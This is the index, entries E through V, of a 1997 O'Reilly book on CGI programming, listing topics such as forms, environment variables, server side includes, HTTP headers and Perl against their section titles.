encoding data : Sending Data to the Server
ENCTYPE attribute (<FORM>)
Multipart Forms
The FORM Tag
EndComments statement : Digital Clock
environment variables
Internal Workings of CGI
Using Environment Variables
Where Did You Come From?
Environment Variables
accessing
How can I access my environment var...
Programming in CGI
setting : Server Simulation
using dynamically (see server side includes)
EOL character : Multipart Forms
EPS (Encapsulated PostScript) : Digital Clock
error messages, customizing : Tailoring SSI Output
errors (see debugging CGI programs)
eval command : Is it true that /$user_variable/ is...
exec command (SSI) : Introduction
exec cgi directive
Executing CGI Programs
Counting Days Until . . .
exec cmd directive : Executing External Programs
ExecCGI option : Configuration
executing external programs : Configuration
Expires header
CGI and Response Headers
The "Expires" and "Pragma" Headers
expiring cookies : Cookie Server
external programs, executing
Configuration
Executing External Programs
extra path information
Extra Path Information
Hidden Fields

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Z

Copyright © 1997 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Z

F

fakessi.pl program
Utilities and Applications
Introduction
Configuring SSI for the CERN Server
FAQ on CGI programming
Why does my HTML page/form need a s...
Is it true that /$user_variable/ is...
Online Documentation
file size : Tailoring SSI Output
<FILE> tags : User Access Counter
files
append mode : CGI Side Includes
as boilerplates : Including Boilerplates
locking : Graphic Counter
reading/writing from : Opening, Reading, and Writing Files
statistics on : File Statistics
uploading
BasePlus.pm
fill command : Digital Clock
filledPolygon method : System Load Average
findfont operator : Digital Clock
flastmod command
Introduction
File Statistics
flock function : Graphic Counter
font style (pgperl) : Web Server Accesses
"Forbidden" status code : Status Codes
fork command : Forking/Spawning Child Processes
forking child processes
Forking/Spawning Child Processes
<FORM> tag
How can I call a Perl CGI program w...
The FORM Tag
Quick Reference to Form Tags
Form.pm module
Form.pm
formatting date and time : Tailoring SSI Output
forms
I want the user to fill in a form a...
Form Creation and Parsing
Forms
Forms and CGI
AppleScript
Advanced Form Applications
Security
buttons on
Submit and Reset Buttons
Radio Buttons and Checkboxes
for calendar manager
Forms and Displays
checkboxes
Radio Buttons and Checkboxes
decoding
in AppleScript
AppleScript
in C
C/C++
C/C++ decoding using libcgi
in C shell
C Shell (csh)
in C++
C/C++
C/C++ decoding using libcgi
in Tcl
Tcl
in Visual Basic
Visual Basic
hidden fields in
Text and Password Fields
Hidden Fields
input from
Accessing Form Input
Encoded Data
menus : Menus and Scrolled Lists
multipart : Multipart Forms
multiple
Multiple Form Interaction
Netscape Persistent Cookies
Magic Cookies
query strings
Query Strings
radio buttons
Radio Buttons and Checkboxes
scrolled and selection lists : Menus and Scrolled Lists
security of
Security
sending data to server
Sending Data to the Server
Understanding the Decoding Process
test/quiz
Quiz/Test Form Application
text and password fields
Text and Password Fields
Multiline Text Fields
fsize command
Introduction
File Statistics
FTP (see Archie)


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Z

G

game of Concentration
Game of Concentration
gateways : Gateways
Archie
Archie
to Internet information servers
Overview
Forking/Spawning Child Processes
mail
Mail Gateway
NNTP
Network News on the Web
to Oracle databases
A Gateway to an Oracle Database
search/index
Search/Index Gateway
to Sybase databases
Accessing a Sybase Database
UNIX man pages
UNIX Manual Page Gateway
GATEWAY_INTERFACE variable : Using Environment Variables
gd create command (Tcl) : Tcl
gd graphics library
Utilities and Applications
Tcl
The gd Graphi...
Graphic Counter
pie graphs : Drawing the Pie Chart
GET method
A Simple Form
The GET and POST Methods
GET vs. POST
Understanding the Decoding Process
simulating servers : Server Simulation
getenv function
C/C++
C/C++ decoding using uncgi
GhostScript : Utilities and Applications
GID wrapper : Set UID/GID Wrapper
GIF images
Check the Client Browser
Accept Types and Content Types
Glimpse : Utilities and Applications
gnuplot utility
Utilities and Applications
CGI Examples with gnuplot
Web Server Accesses
grantscgi library : CGI Software
graphics
Check the Client Browser
Accept Types and Content Types
Digital Clock
Web Server Accesses
access counter
Graphic Counter
animation
Animation
Server Push
in calendar manager
Graphics
combining with queries
Combining Graphics and Queries
GIF format : Check the Client Browser
JPEG format : Check the Client Browser
multiple dynamic images : Inserting Multiple Dynamic Images
pie graphs
Survey/Poll and Pie Graphs
Drawing the Pie Chart
as submit buttons : Submit and Reset Buttons
Greenwich Mean Time (see DATE_GMT variable)
grestore operator : Final PostScript Example: Analog Clock
group command : Network News on the Web
gsave operator : Final PostScript Example: Analog Clock
guestbooks
Executing External Programs
Guestbook
Guestbook with World Map : Some Working CGI Applications

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Z

Copyright © 1997 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Z

H

h2ph Perl script : Socket I/O in Perl
headers
HTTP (see HTTP headers)
mail : Mail Gateway
Reply-To : I want the user to fill in a form a...
malformed : Malformed Header from Script
"here" documents : Creating Dynamic Home Pages
hex command
Designing Applications Using Forms ...
Game of Concentration
hexadecimal encoding
Encoded Data
Sending Data to the Server
hidden fields
Text and Password Fields
Hidden Fields
CSI Statements and Hidden Fields
<HINT> tag : Quiz/Test Form Application
hit counter (see access counters)
hostname command : Socket I/O in Perl
hotspots (see imagemaps)
HTML (Hypertext Markup Language)
comments : Common Errors
executing external programs
Configuration
Executing External Programs
HTML attributes
ACTION (<FORM>)
The FORM Tag
Guestbook
Hidden Fields
CHECKED (<INPUT>)
Radio Buttons and Checkboxes
Quiz/Test Form Application
ENCTYPE (<FORM>)
Multipart Forms
The FORM Tag
ISMAP (<IMG>) : Introduction to Imagemaps
MAXLENGTH (<INPUT>) : Text and Password Fields
METHOD (<FORM>)
A Simple Form
The FORM Tag
MULTIPLE (<SELECT>) : Menus and Scrolled Lists
NAME (<INPUT>)
Text and Password Fields
Radio Buttons and Checkboxes
SIZE (<SELECT>) : Menus and Scrolled Lists
SIZE (<INPUT>) : Text and Password Fields
SRC (<IMG>) : The imagemap display
TYPE (<INPUT>)
Why shouldn't I have people type in...
Multipart Forms
Text and Password Fields
Radio Buttons and Checkboxes
TYPE (<QUESTION>) : Quiz/Test Form Application
VALUE (<INPUT>)
Text and Password Fields
Radio Buttons and Checkboxes
Sending Data to the Server
Mail Gateway
HTML documents
boilerplates in : Including Boilerplates
virtual (see dynamic documents)
HTML tags
HTML Tags
Quick Reference to Form Tags
<ANSWER> : Quiz/Test Form Application
<ASK> : Quiz/Test Form Application
<B> (boldface) : Quiz/Test Form Application
<BR> (line break) : Hidden Fields
<CHOICE> : Quiz/Test Form Application
<FILE> : User Access Counter
<FORM>
How can I call a Perl CGI program w...
The FORM Tag
Quick Reference to Form Tags
<HINT> : Quiz/Test Form Application
<IMG> (image)
Check the Client Browser
Combining Graphics and Queries
<INPUT>
Text and Password Fields
Radio Buttons and Checkboxes
Mail Gateway
<META> : Client Pull
<OPTION> : Menus and Scrolled Lists
<PRE> (preformatted) : Executing External Programs
<QUESTION> : Quiz/Test Form Application
<QUIZ> : Quiz/Test Form Application
<RESPONSE>
Quiz/Test Form Application
<SELECT> : Menus and Scrolled Lists
<TD> (table delimiter) : Accessing a Sybase Database
<TEXTAREA> : Multiline Text Fields
stripping : How can I strip all the HTML tags f...
HTTP (Hypertext Transfer Protocol)
checking links
Checking Hypertext (HTTP) Links
status codes
What are all the server response co...
Status Codes
The "No Response" Code
Checking Hypertext (HTTP) Links
HTTP headers
Internal Workings of CGI
About This Server
CGI and Response Headers
The "Expires" and "Pragma" Headers
Client Pull
complete (non-parsed)
Complete (Non-Parsed) Headers
Content-type
Internal Workings of CGI
About This Server
CGI and Response Headers
Accept Types and Content Types
header block syntax : CGI and Response Headers
Location
Why doesn't print...
The Database
non-parsed : Server Push
httpd server : WWW Server Information
httpd.conf file : Configuring the Server
HTTP_ACCEPT variable
Using Environment Variables
Tcl
Accept Types and Content Types
HTTP_COOKIE variable
Netscape Persistent Cookies
HTTP_FROM variable
How can I tell what user/host/brows...
Using Environment Variables
User Authentication and Identification
HTTP_REFERER variable
Using Environment Variables
Where Did You Come From?
HTTP_USER_AGENT variable
How can I tell what user/host/brows...
Using Environment Variables
Check the Client Browser
C/C++
The imagemap display
hypermedia
Hypermedia Documents
Server Push
hypertext links
adding to index : Archie
checking
Checking Hypertext (HTTP) Links
imagemaps : Introduction to Imagemaps
random : Random Links

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Z

Copyright © 1997 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Z

I

identifying users : User Authentication and Identification
Image method : Digital Clock
ImageMagick : Utilities and Applications
imagemaps
Introduction to Imagemaps
The imagemap display
NCSA program for : GET vs. POST
204 (No Response) code with : The "No Response" Code
images (see graphics)
<IMG> tag
Check the Client Browser
Combining Graphics and Queries
include command
Introduction
Including Boilerplates
includes (see CGI side includes; server side includes))
IncludesNoExec option : Configuration
index gateway
Search/Index Gateway
information servers
Overview
Forking/Spawning Child Processes
<INPUT> tag
Text and Password Fields
Radio Buttons and Checkboxes
Mail Gateway
input to CGI programs
Introduction
Examining Environment Variables
encoded
Encoded Data
forms
Accessing Form Input
Encoded Data
from sockets
Socket I/O in Perl
input to CGI programs:forms: (see also forms)
insert command : CGI Side Includes
"Internal Server Error" status code
What should I do when I get a "Serv...
Status Codes
Tcl
Internet information servers
Overview
Forking/Spawning Child Processes
Internet Server Solution : Other Languages Under Microsoft Windows
interpreter line, missing : Missing Interpreter Line
interprocess communication (IPC) : Overview
IP domains, restricting access to
Restricting Access for Specified Domains
IPC (interprocess communication) : Overview
ISMAP attribute (<IMG>) : Introduction to Imagemaps

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Z

Copyright © 1997 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Z

J

Japanese-English Dictionary : Some Working CGI Applications
Java
I hear that Netscape is going to su...
Animation
JPEG images
Check the Client Browser
Accept Types and Content Types

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Z

Copyright © 1997 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Z

K

key-value pairs : Sending Data to the Server
keys command : CGI Side Includes
kill command : Pipes and the open Command
ksh, setting environment variables in : Server Simulation

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Z

Copyright © 1997 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Z

L

"last updated" line : Why doesn't print...
LAST_MODIFIED variable : Environment Variables
versus flastmod command : File Statistics
length function : Digital Clock
libcgi library
CGI Software
C/C++ decoding using libcgi
libwww library : CGI Software
line break <BR> tag : Hidden Fields
links
adding to index : Archie
checking HTTP
Checking Hypertext (HTTP) Links
imagemaps of : Introduction to Imagemaps
random hypertext : Random Links
Lint (see CGI Lint)
list command : Cookie Server
listen_to_port function : Cookie Server
lists, scrolled : Menus and Scrolled Lists
load, server (see system load)
localtime function : Creating Dynamic Home Pages
Location header
Why doesn't print...
CGI and Response Headers
Server Redirection
The Database
log, NCSA server access : Web Server Accesses
logging
Logging and Simulation
Server Simulation
Lycos World Wide Web Search : Some Working CGI Applications

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Z

Copyright © 1997 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Z

M

MacHTTP server : Other Languages on Macintosh Servers
Macintosh (see AppleScript)
Other Languages on Macintosh Servers
MacPerl
AppleScript (see AppleScript)
MacPerl : MacPerl
magic cookies
CGI Side Includes
Magic Cookies
mail : Overview
gateway
Mail Gateway
headers : Mail Gateway
receiving forms by : I want the user to fill in a form a...
mailto command : The formmail ...
Main function (VB) : Visual Basic
maintaining state : How do I make a form that maintains...
manual pages
UNIX Manual Page Gateway
MAXLENGTH attribute (<INPUT>) : Text and Password Fields
mcode function : C/C++ decoding using libcgi
Memory game program
Game of Concentration
menus : Menus and Scrolled Lists
<META> tag : Client Pull
METHOD attribute (<FORM>)
A Simple Form
The FORM Tag
Microsoft Windows
Other Languages Under Microsoft Windows
Perl for Windows NT
MIME (see Content-type header; ENCTYPE attribute; HTTP headers)
MiniSvr.pm module
MiniSvr.pm
moveto command : Digital Clock
mSQL : Utilities and Applications
multiline text fields : Multiline Text Fields
multipart data
What CGI modules are available for ...
Multipart Forms
Animation
Server Push
CGI Lint--A Debugging/Testing Tool
multiple
dynamic images : Inserting Multiple Dynamic Images
forms
Multiple Form Interaction
Netscape Persistent Cookies
Magic Cookies
Cookie Client
as question type
Quiz/Test Form Application
MULTIPLE attribute (<SELECT>) : Menus and Scrolled Lists
multiple-choice questions
Quiz/Test Form Application

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Z

Copyright © 1997 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Z

N

n newline">\n (newline character) : Perl (UNIX, Windows, Macintosh)
NAME attribute
with radio buttons : Radio Buttons and Checkboxes
with <INPUT> tag : Text and Password Fields
names (see HTTP_USER_AGENT)
browser (see HTTP_USER_AGENT)
user (see REMOTE_HOST)
NCSA imagemap program : GET vs. POST
NCSA server (see also web servers)
access log : Web Server Accesses
netpbm : Utilities and Applications
Netscape persistent cookies
Netscape Persistent Cookies
NetSite server : Other Languages Under Microsoft Windows
Network News Transfer Protocol (see NNTP)
new command : Cookie Server
newline (\n) characters : Perl (UNIX, Windows, Macintosh)
newline (\\n) characters : Multipart Forms
newpath operator : Another Example: System Load Average
NNTP (Network News Transfer Protocol)
Overview
Network News on the Web
status codes : Network News on the Web
"No Response" status code : The "No Response" Code
NoCache method : Form Creation and Parsing
non-parsed headers
Complete (Non-Parsed) Headers
Server Push
"Not Found" status code
Status Codes
Checking Hypertext (HTTP) Links
"Not Implemented" status code : Status Codes
nph- headers
Complete (Non-Parsed) Headers
Server Push
nroff utility
UNIX Manual Page Gateway

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Z

Copyright © 1997 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Z

O

object-oriented libraries : Why are so many of these CGI Perl l...
ODBC (Open Database Connectivity) : Visual Basic
open command
I try to open a file for writing so...
Creating Dynamic Home Pages
Digital Clock
Pipes and the open Command
-s option : Digital Clock
Open Database Connectivity (ODBC) : Visual Basic
open_connection subroutine : Socket Library
<OPTION> tag : Menus and Scrolled Lists
Oracle Cursor : A Gateway to an Oracle Database
Oracle databases
A Gateway to an Oracle Database
oraperl
Utilities and Applications
A Gateway to an Oracle Database
osax (Open Scripting Architecture eXtended)
AppleScript
AppleScript
output from CGI programs
How come my Perl CGI program runs f...
Overview
Complete (Non-Parsed) Headers
embedding in other programs
Executing CGI Programs
Counting Days Until . . .
to sockets
Socket I/O in Perl
output from SSI directives : Tailoring SSI Output

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Z

Copyright © 1997 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Z

P

pack command : Designing Applications Using Forms ...
param method : Form Creation and Parsing
parent processes
Forking/Spawning Child Processes
parsing forms (see forms)
passwords
Why shouldn't I have people type in...
User Authentication and Identification
Text and Password Fields
paths, extra information
Extra Path Information
Hidden Fields
PATH_INFO variable
Using Environment Variables
Extra Path Information
GET vs. POST
PATH_TRANSLATED variable
Using Environment Variables
Extra Path Information
pattern matching : Programming in CGI
C誷 inability to : C/C++ decoding using uncgi
Tcl ability to : Tcl
performance (see system load)
Perl
Perl (UNIX, Windows, Macintosh)
CGI Lite library
CGI Lite
Multipart Forms
CGI modules : Should I use the Perl CGI modules t...
decoding forms in
Designing Applications Using Forms ...
Combining Graphics and Queries
division by zero : Drawing the Pie Chart
fakessi.pl (see fakessi.pl program)
installing : Where should Perl be installed so I...
for Macintosh : MacPerl
oraperl and DBperl : A Gateway to an Oracle Database
programming FAQ
Why does my HTML page/form need a s...
Is it true that /$user_variable/ is...
socket I/O in
Socket I/O in Perl
sorting technique : Network News on the Web
version 5
CGI Modules for Perl 5
Form Creation and Parsing
versus Tcl : Tcl
for Windows NT : Perl for Windows NT
permissions : What are file access permissions? H...
problems with : File Permission Problems
read/write privileges : Opening, Reading, and Writing Files
persistent cookies
Netscape Persistent Cookies
pgbegin function : Web Server Accesses
pgbin function : Web Server Accesses
pgpap function : Web Server Accesses
pgperl : Utilities and Applications
pgperl package
CGI Examples with pgperl
Web Server Accesses
pgscf function : Web Server Accesses
pgsch function : Web Server Accesses
pgsci function : Web Server Accesses
pgscr function : Web Server Accesses
pgslw function : Web Server Accesses
PID (process identification number) : A Gateway to an Oracle Database
pie graphs
Survey/Poll and Pie Graphs
Drawing the Pie Chart
pipes : Pipes and the open Command
polls
Survey/Poll and Pie Graphs
Drawing the Pie Chart
ports, socket : Socket I/O in Perl
POST method
The GET and POST Methods
GET vs. POST
Understanding the Decoding Process
simulating servers : Server Simulation
PostScript, CGI programs with
CGI Examples with PostScript
Final PostScript Example: Analog Clock
ppmtogif utility : Web Server Accesses
Pragma header
CGI and Response Headers
The "Expires" and "Pragma" Headers
<PRE> tags : Executing External Programs
print command
Perl (UNIX, Windows, Macintosh)
CGI Side Includes
"here" documents : Creating Dynamic Home Pages
proc (keyword) : Tcl
process identification number (PID) : A Gateway to an Oracle Database
programming errors
Programming/System Errors
Pipes and the open Command
programming languages
AppleScript
AppleScript (Macintosh Only)
C (see C)
C shell (see C shell)
C++ (see C++)
choosing
Programming in CGI
Visual Basic (Windows Only)
Perl (see Perl)
Tcl : Tcl (UNIX Only)
Visual Basic : Visual Basic (Windows Only)
programs, CGI
CGI Applications
Some Working CGI Applications
Running CGI Scripts
access counters (see access counters)
analog clock
Final PostScript Example: Analog Clock
Analog Clock
animated clock
Animated Clock
animation
Animation
Server Push
averaging system load
System Load Average
calendar manager
Calendar Manager
Graphics
CGI side includes
CGI Side Includes
CSI Statements and Hidden Fields
choosing language for
Programming in CGI
Visual Basic (Windows Only)
Concentration game
Game of Concentration
debugging/testing
How do I debug my Perl CGI program ...
Debugging and Testing CGI Applications
Set UID/GID Wrapper
with CGI Lint tool : CGI Lint in Action
with CGI Lint tool : CGI Lint--A Debugging/Testing Tool
decoding forms
in AppleScript
AppleScript
in C
C/C++
C/C++ decoding using libcgi
in C shell : C Shell (csh)
in C Shell : C Shell (csh)
in C++
C/C++
C/C++ decoding using libcgi
in Perl
Designing Applications Using Forms ...
Combining Graphics and Queries
in Tcl
Tcl
in Visual Basic
Visual Basic
digital clock
Digital Clock
Inserting Multiple Dynamic Images
Digital Clock
displaying text files : Extra Path Information
embedding output from
Executing CGI Programs
Counting Days Until . . .
external : Configuration
FAQ for
Why does my HTML page/form need a s...
Is it true that /$user_variable/ is...
to follow links randomly : Random Links
for domain-access control[domain-based access control) : Restricting Access for Specified Domains
guestbooks (see guestbooks)
HTTP header (see HTTP headers)
input to
Introduction
Examining Environment Variables
malformed headers in : Malformed Header from Script
output from
Overview
Complete (Non-Parsed) Headers
for Perl 5
CGI Modules for Perl 5
Form Creation and Parsing
with PostScript
CGI Examples with PostScript
Final PostScript Example: Analog Clock
quiz/test forms
Quiz/Test Form Application
regular expressions
Summary of Regular Expressions
search/index gateways
Search/Index Gateway
server side includes
Introduction
Common Errors
system load averaging
Another Example: System Load Average
programs, external
Configuration
Executing External Programs
pseudo server side includes (see CGI side includes)
Purveyor server : Other Languages Under Microsoft Windows
Python, CGI library for : CGI Software


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Z

Q

qq/../ construct : Mail Gateway
queries and graphics
Combining Graphics and Queries
query strings
Query Strings
QUERY_STRING variable
Using Environment Variables
Query Strings
C Shell
GET vs. POST
QUERY_STRING_UNESCAPED variable : Environment Variables
<QUESTION> tag : Quiz/Test Form Application
question mark (?) for query strings : Query Strings
<QUIZ> tag : Quiz/Test Form Application
quizzes on the Web
Quiz/Test Form Application
quotation marks (qq/../ construct) : Mail Gateway

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Z

Copyright © 1997 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Z

R

\r (carriage return) : Perl (UNIX, Windows, Macintosh)
radio buttons
Radio Buttons and Checkboxes
multiple-choice questions : Quiz/Test Form Application
random hypertext links : Random Links
RDB : Utilities and Applications
RDBMS (see relational databases)
redirection (see server redirection)
referral servers : Where Did You Come From?
Refresh header
CGI and Response Headers
Client Pull
refreshing browsers : Client Pull
regsub function
Tcl
regular expressions (regexp)
Summary of Regular Expressions
Perl (UNIX, Windows, Macintosh)
relational databases
Relational Databases
Accessing a Sybase Database
REMOTE_ADDR variable
How can I tell what user/host/brows...
Using Environment Variables
Restricting Access for Specified Domains
REMOTE_HOST variable
How can I tell what user/host/brows...
Perl (UNIX, Windows, Macintosh)
Using Environment Variables
Restricting Access for Specified Domains
C/C++ decoding using libcgi
REMOTE_IDENT variable
How can I tell what user/host/brows...
Using Environment Variables
REMOTE_USER variable
How can I tell what user/host/brows...
Using Environment Variables
User Authentication and Identification
Reply-To header : I want the user to fill in a form a...
Request.pm module
Request.pm
REQUEST_METHOD variable
Using Environment Variables
The GET and POST Methods
require command : Socket Library
reset buttons : Submit and Reset Buttons
<RESPONSE> tag
Quiz/Test Form Application
Response.pm module
Response.pm

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Z

Copyright © 1997 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Z

S

s (for substitute) operator : Designing Applications Using Forms ...
scalar function : CGI Side Includes
scalefont operator : Digital Clock
Schwartz, Randal : Set UID/GID Wrapper
ScriptAlias directive : Running CGI Scripts
scripts (see programs, CGI)
SCRIPT_NAME variable : Using Environment Variables
scrolled lists : Menus and Scrolled Lists
search/index gateway
Search/Index Gateway
security
Is a Perl CGI program more or less ...
Running CGI Scripts
external programs : Executing External Programs
with forms
Security
holes, finding with CGI Lint : CGI Lint in Action
query strings and : Query Strings
reading code : Can people read my Perl CGI program...
user authentication : User Authentication and Identification
sed utility : C Shell (UNIX Only)
<SELECT> tag : Menus and Scrolled Lists
sendmail utility
Mail Gateway
server push
Animation
Server Push
animated clock example
Animated Clock
server redirection
Server Redirection
The imagemap display
Pipes and the open Command
server response codes (see HTTP status codes)
server side includes (SSI)
Introduction
Common Errors
access counters
User Access Counter
boilerplate files : Including Boilerplates
# in : Common Errors
ServerRoot directive : Configuring the Server
servers (see web servers)
cookie
Maintaining State with a Server
Cookie Client
information
Overview
Forking/Spawning Child Processes
simulating
Server Simulation
web (see web servers)
SERVER_NAME variable : Using Environment Variables
SERVER_PORT variable : Using Environment Variables
SERVER_PROTOCOL variable : Using Environment Variables
SERVER_SOFTWARE variable : Using Environment Variables
set command (Tcl) : Tcl
Set-Cookie header
CGI and Response Headers
Netscape Persistent Cookies
setfont operator : Digital Clock
shift command : Socket I/O in Perl
show operator : Digital Clock
showpage operator : Digital Clock
SID (system identification) : A Gateway to an Oracle Database
signature (see boilerplates)
simulation
Logging and Simulation
Server Simulation
SIZE attribute (<INPUT>) : Text and Password Fields
SIZE attribute (<SELECT>) : Menus and Scrolled Lists
SKIP (response type) : Quiz/Test Form Application
sleep command : Pipes and the open Command
socket function : Socket I/O in Perl
socket library : Socket Library
socket.ph header : Socket I/O in Perl
sockets
What Are Sockets?
Socket I/O in Perl
software, interfacing with : Programming in CGI
sorting, Perl technique for : Network News on the Web
spawning child processes
Forking/Spawning Child Processes
special characters (see hexadecimal encoding)
specifications, CGI : Official Specifications
sprintf function : Creating Dynamic Home Pages
Sprite : Software Developed for the Book
Sprite module
Sprite
Student database
SQL (Structured Query Language)
Introduction to SQL
Deleting information
srand function : Cookie Server
SRC attribute (<IMG>), query string in : The imagemap display
SSI (see server side includes)
stacks, PostScript : Digital Clock
standard input (see STDIN)
standard output (see STDOUT)
startform method : Form Creation and Parsing
stat command : The Content-length Header
state, maintaining (see maintaining state)
static documents
environment variables in : Environment Variables
via server redirection
Server Redirection
statistics, file : File Statistics
status codes (see HTTP status codes)
Status header
CGI and Response Headers
Status Codes
STDERR (standard error)
What are STDERR, STDIN, and STDOUT ...
Logging and Simulation
<STDIN> operator : GET vs. POST
STDIN (standard input)
What are STDERR, STDIN, and STDOUT ...
Internal Workings of CGI
stdio library : C/C++ decoding using uncgi
stdlib library : C/C++ decoding using uncgi
STDOUT (standard output)
What are STDERR, STDIN, and STDOUT ...
Internal Workings of CGI
duplicating STDERR to : Logging and Simulation
printing to (see print statements)
STREAMS : Overview
string length command (Tcl) : Tcl
string method : System Load Average
Structured Query Language (see SQL)
submit buttons : Submit and Reset Buttons
surveys
Survey/Poll and Pie Graphs
Drawing the Pie Chart
multiple form system of
CGI Side Includes
CSI Statements and Hidden Fields
SWISH : Utilities and Applications
Sybase databases
Accessing a Sybase Database
sybperl : Utilities and Applications
system administration, monitoring CGI programs : Running CGI Scripts
system command : Web Server Accesses
system errors
Programming/System Errors
Pipes and the open Command
system identification (SID) : A Gateway to an Oracle Database
system load
graphing average of
Another Example: System Load Average
System Load Average
with multiple forms : Hidden Fields
reducing with complete headers
Complete (Non-Parsed) Headers
reducing with server redirection : Server Redirection
System V UNIX, STREAMS in : Overview

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Z

Copyright © 1997 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Z

T

tags, HTML (see HTML tags)
Tcl
Tcl (UNIX Only)
Tcl
decoding forms in
Tcl
versus Perl : Tcl
tclsh (Tcl shell) : Tcl (UNIX Only)
<TD> tag : Accessing a Sybase Database
TeachText (ttxt) : AppleScript
telnet to simulate clients : Client Simulation
test forms
Quiz/Test Form Application
testing CGI programs
Debugging and Testing CGI Applications
Set UID/GID Wrapper
CGI Lint tool
CGI Lint--A Debugging/Testing Tool
CGI Lint in Action
text
files, displaying : Extra Path Information
as form input
Text and Password Fields
multiline fields of : Multiline Text Fields
as question type : Quiz/Test Form Application
<TEXTAREA> tags : Multiline Text Fields
textfield method : Form Creation and Parsing
time
formatting : Tailoring SSI Output
localtime function : Creating Dynamic Home Pages
timelocal subroutine : Counting Days Until . . .
timestamp : Why doesn't print...
zones : Creating Dynamic Home Pages
time command : CGI Side Includes
timelocal subroutine : Counting Days Until . . .
tr (translate) operator : Designing Applications Using Forms ...
ttxt (Teach Text) : AppleScript
TYPE attribute (<INPUT>)
Why shouldn't I have people type in...
Multipart Forms
Text and Password Fields
Radio Buttons and Checkboxes
TYPE attribute (<QUESTION>) : Quiz/Test Form Application

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Z

Copyright © 1997 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Z

U

UID (user identification)
File Permission Problems
Set UID/GID Wrapper
"Unauthorized" status code
Status Codes
Checking Hypertext (HTTP) Links
uncgi library
C Shell (UNIX Only)
C/C++
C/C++ decoding using uncgi
underlining (nroff) : UNIX Manual Page Gateway
UNIX (see environment variables)
manual pages
UNIX Manual Page Gateway
sockets in : Overview
variables (see environment variables)
unlink command : CGI Side Includes
updating databases : Updating a database
uploading files
BasePlus.pm
uptime command : Server Redirection
URLs (uniform resource locators)
checking with socket library : Checking Hypertext (HTTP) Links
extra path information : Extra Path Information
imagemaps of : Introduction to Imagemaps
randomly following : Random Links
returning by redirection : Server Redirection
use command : Employee database
user identification (UID)
File Permission Problems
Set UID/GID Wrapper
users (see forms)
addresses of (see REMOTE_ADDR)
authenticating : User Authentication and Identification
counting (see access counters)
information from (see forms)
names of (see REMOTE_HOST)

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Z

Copyright © 1997 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Z

V

VALUE attribute (<INPUT>)
Text and Password Fields
Radio Buttons and Checkboxes
Sending Data to the Server
Mail Gateway
var argument : CGI Side Includes
virtual (see dynamic documents)
documents (see dynamic documents)
imagemaps : Calendar Manager
Visual Basic
Visual Basic (Windows Only)
Visual Basic
decoding forms in
Visual Basic
voting on the Web
Survey/Poll and Pie Graphs
Drawing the Pie Chart

